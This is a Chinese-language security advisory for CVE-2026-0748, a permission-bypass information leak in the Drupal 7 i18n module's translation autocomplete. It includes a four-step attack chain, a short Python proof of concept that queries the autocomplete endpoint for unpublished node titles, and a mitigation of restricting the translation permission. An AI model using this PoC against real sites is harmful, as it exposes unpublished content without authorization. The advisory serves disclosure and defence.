IPBUF安全漏洞报告
English
CVE-2026-0748 CVSS 4.3 中危

CVE-2026-0748 Drupal i18n模块信息泄露漏洞

披露日期: 2026-03-26

漏洞信息

漏洞编号
CVE-2026-0748
漏洞类型
信息泄露
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Drupal 7 Internationalization (i18n) module

相关标签

Drupal信息泄露权限绕过i18nCVE-2026-0748

漏洞概述

Drupal 7的Internationalization (i18n)模块存在一处权限绕过漏洞。在该模块的i18n_node子组件中,具备特定翻译权限的用户能够利用翻译界面及其自动补全组件,绕过正常的访问控制机制。这使得攻击者可以查看并关联本应不可见的未发布节点,从而泄露未发布内容的标题和ID等敏感信息。

技术细节

该漏洞的核心在于Drupal 7 i18n模块的i18n_node子模块在实现自动完成功能时,未能对数据库查询结果进行严格的权限过滤。当用户在翻译界面触发自动完成请求时,后端查询逻辑会检索与输入字符串匹配的节点。由于代码逻辑缺陷,该检索过程未区分节点的发布状态以及当前用户对特定节点的访问权限。因此,只要用户拥有“Translate content”和“Administer content translations”权限,即可通过构造特定的查询请求,诱导服务器返回包含未发布节点的JSON数据,导致敏感信息泄露。

攻击链分析

STEP 1
1. 权限获取
攻击者获取一个具有"Translate content"和"Administer content translations"权限的Drupal账户。
STEP 2
2. 访问界面
攻击者登录后台,进入内容翻译管理界面。
STEP 3
3. 触发查询
利用翻译界面的自动补全输入框,输入关键词触发后端查询请求。
STEP 4
4. 数据泄露
服务器返回包含未发布节点标题和ID的数据,攻击者收集这些敏感信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 # Proof of Concept for CVE-2026-0748 # This script demonstrates information disclosure via the autocomplete endpoint. import requests target_url = "http://drupal-site.example.com" # The specific endpoint might vary based on i18n configuration endpoint = f"{target_url}/i18n/node/autocomplete/translations" # Attacker requires 'Translate content' and 'Administer content translations' permissions session = requests.Session() # Login logic here (cookie or session id) # session.post(f"{target_url}/user/login", data={...}) # Trigger autocomplete to search for unpublished nodes params = { "string": "test" } response = session.get(endpoint, params=params) if response.status_code == 200: print("[+] Potential Leak Detected:") print(response.text) else: print("[-] Request Failed")

影响范围

7.x-1.0
7.x-1.35
7.x-1.0 to 7.x-1.35

防御指南

临时缓解措施
在未完成升级前,建议暂时移除非受信用户的"Administer content translations"权限,以阻断利用该漏洞的路径,防止未发布内容信息泄露。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表